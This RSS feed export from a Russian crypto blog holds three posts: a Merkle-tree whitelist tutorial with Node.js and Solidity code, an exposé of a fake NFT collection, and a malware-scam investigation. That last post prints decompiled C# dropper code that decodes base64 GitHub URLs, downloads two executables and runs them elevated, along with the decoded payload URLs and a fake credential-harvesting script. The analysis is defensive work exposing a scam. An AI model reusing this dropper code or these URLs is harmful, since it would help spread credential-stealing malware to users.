<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>scissor.eth</title><generator>teletype.in</generator><description><![CDATA[scissor.eth]]></description><image><url>https://img3.teletype.in/files/2b/05/2b051ed4-5f25-4765-8419-491992fc3e50.png</url><title>scissor.eth</title><link>https://teletype.in/@crypto_satana</link></image><link>https://teletype.in/@crypto_satana?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=crypto_satana</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/crypto_satana?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/crypto_satana?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Thu, 09 Apr 2026 07:16:51 GMT</pubDate><lastBuildDate>Thu, 09 Apr 2026 07:16:51 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@crypto_satana/merkle_tree</guid><link>https://teletype.in/@crypto_satana/merkle_tree?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=crypto_satana</link><comments>https://teletype.in/@crypto_satana/merkle_tree?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=crypto_satana#comments</comments><dc:creator>crypto_satana</dc:creator><title>Древо Меркла. Что это и как его используют в смарт контрактах. Объясняю понятным языком.</title><pubDate>Sat, 23 Jul 2022 09:57:49 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/e2/8f/e28f9d67-bdd6-4d80-bcad-39e9d5f97540.png"></media:content><category>Программирование</category><description><![CDATA[<img src="https://img2.teletype.in/files/d9/09/d909b32f-070a-4cbc-8754-f0fd1bef39ae.png"></img>Итак, раз вы зашли на эту статью, то наверняка интересуетесь что же такое Древо Меркла. Думаю что каждый кто хоть раз в жизни минтил через контракт, видел в функции вайтлиста такую штуку как _merkleProof или proof. Эти переменные могут называться по-разному, но смысл обычно один и тот же. В статье мы разберем как работает эта система, построим свое двоичное древо и напишем смарт контракт с проверкой есть ли кошелек в вл на Solidity!]]></description><content:encoded><![CDATA[
  <figure id="jHO4" class="m_original">
    <img src="https://img2.teletype.in/files/d9/09/d909b32f-070a-4cbc-8754-f0fd1bef39ae.png" width="1280" />
  </figure>
  <p id="gUTQ">Итак, раз вы зашли на эту статью, то наверняка интересуетесь что же такое Древо Меркла. Думаю что каждый кто хоть раз в жизни минтил через контракт, видел в функции вайтлиста такую штуку как _merkleProof или proof. Эти переменные могут называться по-разному, но смысл обычно один и тот же. В статье мы разберем как работает эта система, построим свое двоичное древо и напишем смарт контракт с проверкой есть ли кошелек в вл на Solidity!</p>
  <h2 id="G0hq">Да кто такой этот ваш Древо Меркла</h2>
  <figure id="MWxp" class="m_original">
    <img src="https://user-images.githubusercontent.com/168240/83951171-85f48c80-a7e4-11ea-896e-529c28ffa18e.png" width="1162" />
    <figcaption>Пример дерева</figcaption>
  </figure>
  <section style="background-color:hsl(hsl(55,  86%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="SH06">Начнем с определений. Скорее всего часть из них вы сейчас не поймете, так что возвращайтесь к ним по ходу прочтения. </p>
    <p id="gG6o">◉ Вся структура данных которую мы рассматриваем называется древом.</p>
    <p id="9wXj">◉ Каждый элемент в древе называется листком, а несколько элементов - листьями, по аналогии с реальными деревьями.</p>
    <p id="mfA3">◉ Путь от верхнего элемента до нужного нам листка называется веткой.</p>
    <p id="eWGu">◉ Все Древо Меркла - это 32 байтная строка, называемая рутом.</p>
    <p id="tSzi">◉ Меркель пруф - это путь из 32 байтного массива хэшей от рута до проверяемого кошелька (его хэша).</p>
  </section>
  <section style="background-color:hsl(hsl(236, 74%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="6naR">Сами листья не могут являтся числом или массивом. Каждый лист - это хэш, чаще всего keccak256 помещаемых нами данных.</p>
  </section>
  <section style="background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="7QZQ">Шифр - это обратимая функция, а хэш - необратимая. </p>
    <p id="3wKP">То есть, например, если мы знаем, что строка зашифрована шифром Цезаря под ключом 2 (то есть изменение вперед на 2 буквы) то мы можем ее расшифровать.</p>
    <p id="hwOJ">А если мы знаем, что строка за<strong>хэш</strong>ирована, например, алгоритмом Keccak256, то, зная хэш, мы не сможем ее рас<strong>хэш</strong>овать и узнать, что это была за строка (точнее можем, но только если мы будем перебирать все возможные слова, <strong>хэш</strong>ировать каждое и сравнивать с искомым хэшем).</p>
  </section>
  <figure id="srnB" class="m_original">
    <img src="https://img1.teletype.in/files/8c/af/8caf6a33-bda0-4c98-9934-623dcf3b472b.png" width="345" />
    <figcaption>Дети древа меркла выглядят так, как вы видите сверху на картинке (сори за пейнт). </figcaption>
  </figure>
  <section style="background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="decq">Это все понятно, но зачем его использовать, если можно все данные хранить в массиве/списке?</p>
  </section>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Hg3C">Вот мы и пришли к вопросу, зачем Древо Меркла используют в смарт контрактах.</p>
    <p id="feZY">◉ Древо Меркла позволяет значительно облегчить нагрузку, так как при проверке, есть ли нужный хэш в древе, нужно пройти всего лишь по одной ветке, и нет необходимости перепроверять абсолютно все ветки.</p>
    <p id="dvcU">Если бы мы хранили в смарте массив из адресов, то тогда потребовалось гораздо больше газа, ведь все адреса хранились бы в блокчейне. Помимо этого, для проверки, есть ли кошелек в WL, потребовалось бы проходиться по всему массиву, что съедало бы больше газа при минте</p>
    <p id="qF22">А так получается, что в блокчейне сохраняется только одна строчка из 32 байтов - рут хэш, нужный как раз таки для проверок, есть ли кошель в вайтлисте.</p>
  </section>
  <section style="background-color:hsl(hsl(55,  86%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="JJFy">Второе преимущество - это безопасность. </p>
    <p id="vfBD">◉ Во первых, поскольку Древо состоит из хэшей, не получится узнать чужие кошельки в WL (т.к. по хэшу нельзя получить исходную строку). </p>
    <p id="yjMp">◉ Во вторых, по рут хэшу нельзя восстановить список хэшей влов, а соответственно меркель пруф можно получить только на сайте, и никто не сможет заботить контракт.</p>
  </section>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="4yHr">◉ Из минусов (как же без них) можно отметить то, что не получится сминтить через контракт. Да, выше это было также в плюсах, но не у всех проектов есть сайт для минта, особенно у деген фришек. </p>
    <p id="3vqB">◉ Также не получится удалить определенный кошелек (его хэш) из Древа, его придется пересобирать без удаляемых кошельков, и менять рут хэш отдельной функцией в контракте.   </p>
  </section>
  <h2 id="Mosk">Кодинг</h2>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="zDFC">Для начала напишем простенький скрипт на Node.js для сбора Древа. Подробно останавливаться на установке я не буду, все есть в интернете, да и если вы уж решили создавать свое Древо Меркла, то, скорее всего, вы видите код не первый раз в своей жизни. Но я все же оставлю <a href="https://htmlacademy.ru/blog/articles/installing-nodejs#:~:text=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0%20Node.&text=%D0%9D%D0%B5%D0%BE%D0%B1%D1%85%D0%BE%D0%B4%D0%B8%D0%BC%D0%BE%20%D0%BF%D0%B5%D1%80%D0%B5%D0%B9%D1%82%D0%B8%20%D0%BD%D0%B0%20%D0%BE%D1%84%D0%B8%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9%20%D1%81%D0%B0%D0%B9%D1%82,js%2C%20%D0%BA%D0%B0%D0%BA%20%D0%BB%D1%8E%D0%B1%D1%83%D1%8E%20%D0%B4%D1%80%D1%83%D0%B3%D1%83%D1%8E%20%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D1%83." target="_blank">ссылку</a> на установку Node.js. </p>
  </section>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="bj84">Итак, открываем вашу IDE (если кому интересно, я использую коммерческую версию WebStorm) и устанавливаем две библиотеки, которые нам понадобятся. Первая нужна, чтобы превратить строку в keccak256, а вторая - чтобы создать древо.</p>
    <pre id="cWQK">$ npm i keccak256 merkletreejs</pre>
  </section>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="md2p">Бум! Все установилось и теперь начинаем кодить.</p>
    <p id="3Kqz">Для начала импортируем две библиотеки которые мы установили выше:</p>
    <pre id="scfl">const { MerkleTree } = require(&quot;merkletreejs&quot;);
const keccak256 = require(&#x27;keccak256&#x27;);</pre>
    <p id="O2KJ">Теперь создадим массив из кошельков которые у нас в WL:</p>
    <pre id="4iHC">const addresses = [&quot;0x5B38Da6a701c568545dCfcB03FcB875f56beddC4&quot;,&quot;0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2&quot;];</pre>
    <p id="CY6Q">Помимо этого нам потребуется небольшая стрелочная функция, которая будет конвертировать значения в нужный нам результат.</p>
    <pre id="B8l3">const buf2hex = x =&gt; &quot;0x&quot; + x.toString(&quot;hex&quot;);</pre>
    <p id="uheE">Далее нам нужно получить из всех этих адресов кошельков список их хэшей, сделать это элегантно мы можем через метод map в JS, которая пройдется по каждому кошельку и вернет значение стрелочной функции в новый массив.</p>
    <pre id="VJ28">const leaves = addresses.map(address =&gt; keccak256(address));</pre>
    <p id="K5rL">Затем наконец-то создаем наше Древо:</p>
    <pre id="uzhd">const tree = new MerkleTree(leaves, keccak256, { sortPairs: true });</pre>
    <p id="vWCc">И получаем нужный нам рут хэш, который мы далее сохраним в смарт контракте:</p>
    <pre id="qUw0">const merkleRootString = buf2hex(tree.getRoot());</pre>
  </section>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="xc5P">Теперь реализуем получение пруфа для кошелька:</p>
    <pre id="3abb">const leaf = keccak256(&quot;0x5B38Da6a701c568545dCfcB03FcB875f56beddC4&quot;);
const proof = tree.getProof(leaf);
const proofString = &quot;[&quot; + proof.map(x =&gt; &#x60;&quot;${buf2hex(x.data)}&quot;&#x60;) + &quot;]&quot;</pre>
    <p id="eH9E">proofString это есть нужный нам пруф, который мы можем ввести в контракт и все пройдет.</p>
  </section>
  <section style="background-color:hsl(hsl(236, 74%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="eYSv">Напишем простую реализацию смарт-контракта на Solidity, проверяющего есть ли кошель в WL.</p>
    <p id="by5t">Для начала инициализируем контракт и импортируем нужную нам библиотеку для работы с Древом Меркла.</p>
    <pre id="xw2v">pragma solidity ^0.8.4;
 
import &quot;@openzeppelin/contracts/utils/cryptography/MerkleProof.sol&quot;;</pre>
    <p id="z9Lx">Создаем сам контракт, изначально задаем меркель рут, и добавляем функцию для проверки, которая вернет true если кошель в WL, и false если нет.</p>
    <pre id="GVP3">contract SimpleMerkleTree {
  bytes32 merkleRoot = 0xeeefd63003e0e702cb41cd0043015a6e26ddb38073cc6ffeb0ba3e808ba8c097; 
  function checkIsAddressInWl(bytes32[] memory _merkleProof) public view returns(bool) {
    return MerkleProof.verify(_merkleProof, merkleRoot, keccak256(abi.encodePacked(msg.sender)));
  }  
 }</pre>
  </section>
  <p id="L6en">Надеюсь вам понравилась статья и вы узнали для себя что-то новое. Лучшей благодарностью будем подписочка на TG канал и телетайп.</p>
  <p id="PbKe">Created with ❤️by <a href="https://t.me/crypto_satana" target="_blank">https://t.me/crypto_satana</a> || <a href="https://t.me/scissor_eth" target="_blank">https://t.me/scissor_eth</a> </p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@crypto_satana/bunker_scam</guid><link>https://teletype.in/@crypto_satana/bunker_scam?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=crypto_satana</link><comments>https://teletype.in/@crypto_satana/bunker_scam?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=crypto_satana#comments</comments><dc:creator>crypto_satana</dc:creator><title>Букнер скам? Создание админами фейк коллекции и попытка кидануть своих же подписчиков приватки.</title><pubDate>Sun, 26 Jun 2022 17:59:42 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/db/3e/db3ea855-051d-4be9-9294-03861f10fa77.png"></media:content><description><![CDATA[<img src="https://telegra.ph/file/6abc181f46623f0575df8.png"></img>Данная статья является перезаливом моей же статьи с telegra.ph на teletype.in.]]></description><content:encoded><![CDATA[
  <figure id="HRqd" class="m_original">
    <img src="https://telegra.ph/file/6abc181f46623f0575df8.png" width="1280" />
  </figure>
  <blockquote id="bLy7">Данная статья является перезаливом моей же статьи с telegra.ph на teletype.in.</blockquote>
  <p id="N4yK">3 июня 2021 опубликован данный пост в бункере ссылающийся на покупку боксов - <a href="https://opensea.io/collection/epic-league-totem-box" target="_blank">https://opensea.io/collection/epic-league-totem-box</a>.</p>
  <figure id="P3An" class="m_original">
    <img src="https://telegra.ph/file/b8962a21f1e4cb94490d7.png" width="658" />
  </figure>
  <p id="DpW0">Переходим и что мы видим? Коллекцию из 60 айтемов с общим обьемом торгов 0.39 ETH.</p>
  <figure id="K7xj" class="m_original">
    <img src="https://telegra.ph/file/300674a3f2001c7ad9cba.png" width="1567" />
  </figure>
  <p id="RvpV">Теперь посмотрим во вкладку Activity, и что мы видим теперь? Первая продажа была 2 часа назад. Хмм...</p>
  <figure id="r6D9" class="m_original">
    <img src="https://telegra.ph/file/941face34bd127f587f6f.png" width="1377" />
  </figure>
  <p id="d4pE">И купил ее один из админов бункера - <a href="https://opensea.io/TraderXXX" target="_blank">https://opensea.io/TraderXXX</a>. На его кошельке на тот момеент когда я смотрел находилось 18 таких NFT.</p>
  <h4 id="Пахнет-нечисто,-да?">Пахнет нечисто, да?</h4>
  <p id="enhT">Посмотрим дальше на саму НФТ:</p>
  <figure id="Nwt5" class="m_original">
    <img src="https://telegra.ph/file/c77b9fefceb6626bdb5d3.png" width="1894" />
  </figure>
  <p id="q5KC">И посмотрим на URL выше в котором пишется адрес контракта:</p>
  <p id="JJSx"><a href="https://opensea.io/assets/matic/0x2953399124f0cbb46d2cbacd8a89cf0599974963/108619439121346605445707346742609222442616510946759560073425622258581678063617" target="_blank">https://opensea.io/assets/matic/0x2953399124f0cbb46d2cbacd8a89cf0599974963/108619439121346605445707346742609222442616510946759560073425622258581678063617</a></p>
  <p id="DDBL">Цепляем отсюда адрес контракта: 0x2953399124f0cbb46d2cbacd8a89cf0599974963</p>
  <p id="G9Pj">Идем на polygonscan:</p>
  <p id="hw5r"><a href="https://polygonscan.com/address/0x2953399124f0cbb46d2cbacd8a89cf0599974963" target="_blank">https://polygonscan.com/address/0x2953399124f0cbb46d2cbacd8a89cf0599974963</a></p>
  <figure id="qcjd" class="m_original">
    <img src="https://telegra.ph/file/6a96d0667bfd4a2b3dd11.png" width="1280" />
  </figure>
  <h4 id="Коллекция-загружена-через-OpenSea...">Коллекция загружена через OpenSea...</h4>
  <p id="HjIf">Что это означает? То что коллекция была загружена через вот такой вот стандартный интерфейс:</p>
  <figure id="i0PU" class="m_original">
    <img src="https://telegra.ph/file/9bd8fe12ef3dbffae5fc2.png" width="1894" />
  </figure>
  <p id="WWlX">Никакая крупная NFT коллекция никогда так не сделает, всегда есть разработчики который пишут свой смарт-контракт.</p>
  <h4 id="Ну-и-да,-оригинальная-коллекция-продается-на-Binance">Ну и да, оригинальная коллекция продается на Binance</h4>
  <figure id="hEuU" class="m_original">
    <img src="https://telegra.ph/file/d39efee878be8263494a6.png" width="457" />
  </figure>
  <figure id="OubQ" class="m_original">
    <img src="https://telegra.ph/file/d886ac689339afb38ccf6.png" width="318" />
  </figure>
  <h4 id="И-сами-разработчики-подтвердили-что-коллекция---фейк">И сами разработчики подтвердили что коллекция - фейк</h4>
  <p id="cKlw">Мы написали разработчикам и вот какой ответ получили:</p>
  <figure id="LOKD" class="m_original">
    <img src="https://telegra.ph/file/ffa629e688f4829ccd06d.png" width="820" />
  </figure>
  <figure id="wUcm" class="m_original">
    <img src="https://telegra.ph/file/63339ccf31c7ada052254.png" width="866" />
  </figure>
  <hr />
  <h4 id="UPD:">UPD:</h4>
  <figure id="cfIy" class="m_original">
    <img src="https://telegra.ph/file/8b12019700742cdc9ba7b.png" width="1892" />
  </figure>
  <figure id="lvwk" class="m_original">
    <img src="https://telegra.ph/file/54b3414af17ccdf266e75.png" width="1839" />
  </figure>
  <figure id="arY7" class="m_original">
    <img src="https://telegra.ph/file/4fa71a1b1ba93f77f7312.png" width="1869" />
  </figure>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@crypto_satana/haliavniy_scam</guid><link>https://teletype.in/@crypto_satana/haliavniy_scam?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=crypto_satana</link><comments>https://teletype.in/@crypto_satana/haliavniy_scam?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=crypto_satana#comments</comments><dc:creator>crypto_satana</dc:creator><title>Масштабный скам от Халявного. Полный разбор с реверс-инжинирингом малвари.</title><pubDate>Sun, 26 Jun 2022 17:34:22 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/6c/2b/6c2b103e-c2dc-40b5-a0b0-b21a2ddb7d09.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/57/74/5774630b-6e33-43f8-ba55-97bd2762f718.png"></img>Кто такой вообще этот ваш Халявный? Уважаемый (ранее) админ паблика @HaliavimCryptu, гемхантер, со своим каналом и артодельной (с высокими наценками), сделавший огромное количество (по его рассказам) лавэ на влах, имел роль в Курилке.  ]]></description><content:encoded><![CDATA[
  <figure id="wFHw" class="m_original">
    <img src="https://img2.teletype.in/files/57/74/5774630b-6e33-43f8-ba55-97bd2762f718.png" width="1920" />
  </figure>
  <h2 id="3eK7">Начнем с истоков</h2>
  <p id="ED6L">Кто такой вообще этот ваш Халявный? Уважаемый (ранее) админ паблика @HaliavimCryptu, гемхантер, со своим каналом и артодельной (с высокими наценками), сделавший огромное количество (по его рассказам) лавэ на влах, имел роль в Курилке.  </p>
  <h2 id="kpJo">Предпосылки</h2>
  <blockquote id="7X0e">Еще несколько недель назад Халявный отключил все реакции кроме 🤮, 👎🏻 и 💩. Возможно он уже тогда задумывал закинуть малварь на все комьюнити, и когда понаставляли бы таких реакций, не вызывать подозрений. Но это уже более параноидальные теории, хотя исключать этого тоже мы не можем ;)</blockquote>
  <p id="wgTN">1. Буквально месяц назад наш герой собирал складчину у себя на канале для покупки курса по Майнингу от Фармера (лол), и конечно же собрав по 70$  с 10 человек, никому мануал не кинул, прикрывшись тем что продажник вычислил их склад (а не майнер ли он нам подсунет дальше :?)  </p>
  <p id="A3Cs">2. В его артодельне, как оказалось, качество не соответсвует тому какие сники он прикладывает. Вот пример:</p>
  <figure id="9wFZ" class="m_original">
    <img src="https://img2.teletype.in/files/5c/15/5c15c824-d3ef-413c-a731-f3fe4d30ee6a.png" width="1280" />
  </figure>
  <p id="1isf">3. Более интересная история которая случилась 9 апреля 2022 года, про квест на 5к$.</p>
  <p id="UFXX">Халявный и Бойлер заделали совместный квест, где собрав 12 слов сид фразы, ты мог получить NFT по их словам стоимостью 5.000$. Сделано это было ради хайпа и набора аудитории, ведь видимо по другому кроме как наебывать, двигаться Халявный не умел. О квесте конечно же все благополучно забыли, ниаких пруфов естественно никто не предоставил. А сам Халявный игнорировал сообщения с вопросами.</p>
  <h2 id="D8nt"><strong>Начало расследования. Хронология событий.</strong></h2>
  <p id="G42X">Итак, 25 июня 2022 20:31 он выпускает пост с таким содержимым:</p>
  <figure id="pN3I" class="m_original">
    <img src="https://img4.teletype.in/files/78/24/7824df9d-03c4-4bbe-8f1d-8a7360fd638f.jpeg" width="1573" />
  </figure>
  <p id="wP86">И за этими постами сразу же пост с самими файлами, но уже отключив комментарии:</p>
  <figure id="SouX" class="m_original">
    <img src="https://telegra.ph/file/228a434f0b90df008d39e.png" width="512" />
  </figure>
  <p id="ly8g">Не поверите, но некоторые паблики, успели сразу же репостнуть и удалить впоследствии, ведь ничего подозрительного кроме слива &quot;годноты&quot; в паблик непонятно зачем. </p>
  <figure id="iCkl" class="m_original">
    <img src="https://telegra.ph/file/dba7666624ee9ae508232.png" width="579" />
    <figcaption>А следом он вообще удалил свой тг аккаунт!</figcaption>
  </figure>
  <h2 id="ZNME">Анализ малвари и разбор ситуации.</h2>
  <p id="S6DW">Любой, у кого IQ выше амебы, перед запуском левого файла пойдет просканировать вначале его на <a href="https://www.virustotal.com/" target="_blank">https://www.virustotal.com/</a>, и увидев 32 детекта из 67 засомневается в запуске софта.</p>
  <figure id="Rtco" class="m_original">
    <img src="https://telegra.ph/file/65f7b2b6c30911edfbbac.png" width="1795" />
  </figure>
  <figure id="0QZq" class="m_original">
    <img src="https://img4.teletype.in/files/7d/66/7d660053-ff75-428a-b545-6a85bb1d8755.png" width="626" />
    <figcaption>И кто-то даже спросил, отчего столько детектов!</figcaption>
  </figure>
  <p id="vCfY">Однако вот что отвечает наш юный манимейкер:</p>
  <figure id="2PvS" class="m_original">
    <img src="https://img3.teletype.in/files/aa/fd/aafdfdde-0d7e-4419-87ff-1f18437affd7.png" width="424" />
  </figure>
  <figure id="b7Ga" class="m_original">
    <img src="https://img2.teletype.in/files/1b/66/1b66c9ed-ae26-4844-aa66-02e4cdaf7e6b.png" width="591" />
  </figure>
  <blockquote id="xW7k">А кое-кто даже умудрился запустить софт, и следом начать рассылать по всем чатам что у него украли 439$, однако особо этому верить нельзя т.к чел мог просто перевести деньги на свой второй кошелек.</blockquote>
  <h2 id="3NGn">Итак, приступим к самому интересному, анализу файлов!</h2>
  <p id="48EL"></p>
  <figure id="nrxi" class="m_original">
    <img src="https://img3.teletype.in/files/61/6e/616ec0a1-5f45-48be-8264-1f1a937b3d76.png" width="1629" />
  </figure>
  <p id="dpLv">Мы видим что софт действительно подгружает отдельный файл с гитхаба, но почему-то именно SandBoxAccounts.exe а не просканированный PremintBot.exe. </p>
  <p id="jrxv">Перейдя на по ссылке увидим гитхаб. Нет сомнений что это дело рук именно Халявного, так как коммит был сделан ровно под выложенный пост, и дальше не редактировался.</p>
  <figure id="Hos7" class="m_original">
    <img src="https://img2.teletype.in/files/9b/66/9b66c691-a8eb-427d-a37f-e01b72d7f0c7.png" width="1775" />
  </figure>
  <p id="nelA">Пытаемся декомпилировать файл PremintBot.exe, и огорчаемся ведь к сожалению он собран не Pyinstaller и не py2exe, спустя какое-то время понимаем что это C# и декомпилируем. Получаем файл с подобным содержимым:</p>
  <blockquote id="gy05">Примечание: Компиляция - процесс сбора из исходников в exe.</blockquote>
  <blockquote id="LTB4">Примечание: Декомпиляция - обратный процесс компиляции. Получение исходников из exe файла. </blockquote>
  <pre id="jLGZ">using System;using System.Diagnostics;using System.IO;using System.Net;using System.Security.Principal;using System.Text;

namespace UBkvxG
{
	internal static class Program
	{
		private static void Main()
		{
			ServicePointManager.set_SecurityProtocol((SecurityProtocolType)240);
			try {
				ServicePointManager.set_SecurityProtocol((SecurityProtocolType)4080);
			}
			catch {}
			try{
				string @string = Encoding.Default.GetString(Convert.FromBase64String(&quot;aHR0cHM6Ly9naXRodWIuY29tL0NyM2FwM3IvUHJvZHVjdC1SZWQvcmF3L21haW4vU2FuZEJveEFjY291bnRzLmV4ZQ==&quot;));
				string text = Encoding.Default.GetString(Convert.FromBase64String(&quot;e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC9TYW5kQm94QWNjb3VudHMuZXhl&quot;)).Replace(&quot;{USERNAME}&quot;, Environment.UserName).Replace(&quot;{SYSTEMDRIVE}&quot;, Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace(&quot;\\&quot;, &quot;&quot;));
				try{
					if (File.Exists(text)){
						File.Delete(text);
					}
				}
				catch{}
				new WebClient().DownloadFile(@string, text);
			}
			catch{}
			try{
				string text2 = Encoding.Default.GetString(Convert.FromBase64String(&quot;e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC9TYW5kQm94QWNjb3VudHMuZXhl&quot;)).Replace(&quot;{USERNAME}&quot;, Environment.UserName).Replace(&quot;{SYSTEMDRIVE}&quot;, Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace(&quot;\\&quot;, &quot;&quot;));
				if (File.Exists(text2)){
					ProcessStartInfo val = new ProcessStartInfo();
					val.set_FileName(text2);
					val.set_Verb(new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole((WindowsBuiltInRole)544) ? &quot;runas&quot; : &quot;&quot;);
					Process.Start(val);}
			}
			catch{}
			try{
				string string2 = Encoding.Default.GetString(Convert.FromBase64String(&quot;aHR0cHM6Ly9naXRodWIuY29tL0NyM2FwM3IvUHJvZHVjdC1SZWQvcmF3L21haW4vdXBkYm90LmV4ZQ==&quot;));
				string text3 = Encoding.Default.GetString(Convert.FromBase64String(&quot;e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC91cGRib3QuZXhl&quot;)).Replace(&quot;{USERNAME}&quot;, Environment.UserName).Replace(&quot;{SYSTEMDRIVE}&quot;, Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace(&quot;\\&quot;, &quot;&quot;));
				try
				{
					if (File.Exists(text3))
					{
						File.Delete(text3);
					}
				}
				catch{}
				new WebClient().DownloadFile(string2, text3);}
			catch{}
			try{
				string text4 = Encoding.Default.GetString(Convert.FromBase64String(&quot;e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC91cGRib3QuZXhl&quot;)).Replace(&quot;{USERNAME}&quot;, Environment.UserName).Replace(&quot;{SYSTEMDRIVE}&quot;, Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace(&quot;\\&quot;, &quot;&quot;));
				if (File.Exists(text4)){
					ProcessStartInfo val2 = new ProcessStartInfo();
					val2.set_FileName(text4);
					val2.set_Verb(new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole((WindowsBuiltInRole)544) ? &quot;runas&quot; : &quot;&quot;);
					Process.Start(val2);}
				}
			catch{
			}
		}
	}
}
</pre>
  <p id="zAKh"></p>
  <p id="l2UA">Декодируем переменные через base64 online decoder и получаем такие значения:</p>
  <pre id="crmP">@string = https://github.com/Cr3ap3r/Product-Red/raw/main/SandBoxAccounts.exe
text и text2 = {SYSTEMDRIVE}/Users/{USERNAME}/AppData/Local/Temp/SandBoxAccounts.exe
string2 = https://github.com/Cr3ap3r/Product-Red/raw/main/updbot.exe
text3 и text4 = {SYSTEMDRIVE}/Users/{USERNAME}/AppData/Local/Temp/updbot.exe</pre>
  <p id="zXJx">Собственно это и есть тот самый момент когда подгружаются и кладутся файлы  <code>updbot.exe</code> и <code>SandBoxAccounts.exe</code></p>
  <p id="D40Y">Дальше смотрим на 2 файла:</p>
  <p id="4Ey2"><code>SandBoxAccounts.exe</code> - собран PyInstaller</p>
  <p id="CSlB"><code>updbot.exe</code> - собран через C </p>
  <blockquote id="VCCX">C декомпилировать нельзя, только дисассемблить, так что сначала посмотрим на <code>SandBoxAccounts.exe</code></blockquote>
  <blockquote id="ygbt">Примечание: Дизассемблить - это процесс реверса кода до ассемблера.</blockquote>
  <p id="o9Hz">Однако чуть позже понимаем что он скомпилирован с python 3.10, следовательно декомпилируется uncompyle6-ом. Приходится делать это ручками. После некоторых попыток получаем код подобный этому:</p>
  <pre id="MoyV">import threading
import requests
from urllib.parse import quote
from fake_useragent import UserAgent
from json import loads
from random import choice, randint
from base64 import b64encode
from loguru import logger
from sys import stderr
from urllib3 import disable_warnings
from time import sleep
from msvcrt import getch
from os import system
from colorama import init, Fore, Back, Style
import time
import random
init()
print(&#x27;=============\nВведите данные от электронных почт в файл DataAccounts.txt\nВ формате: name@gmail.com:parol&#x60;\n=============&#x27;&#x27;)
print(&#x27;Если вы ввели все данные, нажмите 1, если нет, то 0:&#x27;)
i = int(input(&#x27;&#x27;))
if i == 1:
    x = random.randint(5, 12)
    sleep(x)
    my_file = open(&#x27;SandBoxAccountsData.txt&#x27;, &#x27;w+&#x27;)
    print(&#x27;Аккаунты успешно зарегестрированны&#x27;)
    my_file.write(&#x27;Error. Неверные данные от почт&#x27;)
    return None</pre>
  <blockquote id="MhDm">То есть никакие в помине аккаунты не регистрируются ;) </blockquote>
  <figure id="y6yl" class="m_original">
    <img src="https://img2.teletype.in/files/5f/e8/5fe8deba-705f-4929-9e9a-3770bf2c0493.png" width="814" />
    <figcaption>А это кстати все файлы собранные в EXE. Большая часть была обфусцирована.</figcaption>
  </figure>
  <p id="Ifmx">К сожалению updbot.exe декомпилировать нельзя, так как код написан на C, однако можно с легкостью более-менее понять что он делает.</p>
  <p id="OJWb">Смотрим специализированным софтом и вот что получаем:</p>
  <figure id="eSl8" class="m_original">
    <img src="https://img1.teletype.in/files/4c/85/4c8505ee-dce1-4a7f-a703-7fd12380724f.png" width="493" />
  </figure>
  <p id="v8bj">Да-да, семейство Redline :) Такие стиллеры продаются за +- 100$ на форумах.</p>
